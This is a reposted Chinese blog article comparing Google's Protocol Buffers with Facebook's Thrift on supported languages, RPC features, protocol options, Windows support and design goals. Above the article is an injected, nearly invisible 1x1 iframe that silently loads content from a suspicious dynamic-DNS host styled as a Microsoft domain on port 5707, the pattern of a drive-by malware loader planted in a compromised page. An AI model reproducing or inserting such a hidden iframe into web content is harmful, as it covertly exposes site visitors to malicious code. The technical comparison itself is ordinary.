<iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog
.png" width="1" height="1" style="display: block;"></iframe>最近工作需要保存一些結構化的數據。常規的思路,自然是選擇xml。定義一個schema,然后再找個利落點的XML庫(覺得tinyxml/tinyxml++ 就挺不錯的)就算問題解決。這兩天blog上比較熱鬧的話題,是從Google放出來的Protocol buffers ,一種用來部分替代xml的數據描述語言。Google就是Google,就算是推白菜出來,也一樣能讓人側目。其實protocol buffers也不是什么新鮮的概念,且不說傳統的ASN.1, ICE這些有點類似的東西,facebook一年前就推出了thrift ,應該說定位是非常的接近的。也有謠傳說是先有了protocol buffers在google內部流行,然后google的人跳槽到facebook,就出了thrift這個東西……呵呵,停止八卦,言歸正傳。
觀察法看到的優缺點
Thrift:
支持的語言更廣泛一些c++, java, python,ruby, csharp, haskell, ocmal, erlang, cocoa, php, squeak(真夠變態的)
protobuf
目前還是只支持c++, java, python, 其他語言有待開發.
Thrift提供的功能更豐富一些:
Thrift提供了簡單的RPC構架(其實不簡單了, block, nonblock的都有了…..)
protobuf好像一心一意做好自己的事情,只提供了序列化和反序列化的功能。
Thrift支持多種協議格式.
Thrift的代碼實現,有專門的TProtocol和TTransport抽象,相互配合,可以實現多種協議,方便集成各種傳輸方式。至少目前Thrift就能使用json作為序列化協議。
protobuf好像只安心一種協議,并下決心把這個格式做好。輸入輸出也是標準的stream. 認真的說也不完全這樣,protobuf為了調試方便,也提供了Text_Fromat功能,這個也算一個nonbinary格式支持,這樣看來完全新協議還是有可能的。
Thrift還提供了不少語言的C module(性能啊,都是性能啊)
protobuf全部pure language實現, 反正現在已經都5到10倍速度了,不在乎了…..
thrift目前不支持Windows平臺,至少c++語言的runtime library和generated code是不不能在windows平臺上使用的。(這真有點讓人難以接受啊,現代科技這么發達,還有怪獸boost,支持windows有這么難嗎?)
protobuf沒有這個問題,提供了visual studio的項目文件,可以很順利的在windows平臺下編譯。(題外話: 如果不知道googletest怎么在windows平臺上使用,可以參考protobuf的測試用例)。
The Thrift C++ runtime library does not currently work on Windows. This means that you’ll be able to compile ThriftIDL files to C++/Java/Python/etc., but you won’t be able to compile and run the generated C++ code under Windows.
thrift wiki
protobuf側重點是語言表達,同時在存儲效率上也下了不少功夫。用protobuf來直接讀寫數據結構相當的方便。
thrift側重點是構建夸語言的可伸縮的服務,特點就是支持的語言多,同時提供了完整的rpc service framework,可以很方便的直接構建服務,不需要做太多其他的工作。
數據類型相對固定的情況下,不論是thrift還是protobuf都會比直接處理xml要方便很多。不管是dom還是類sax,總沒有直接出數據結構訪問來的方便啊。
posted on 2015-10-26 20:18
日需博客 閱讀(1478)
評論(0) 編輯 收藏 引用 所屬分類:
轉載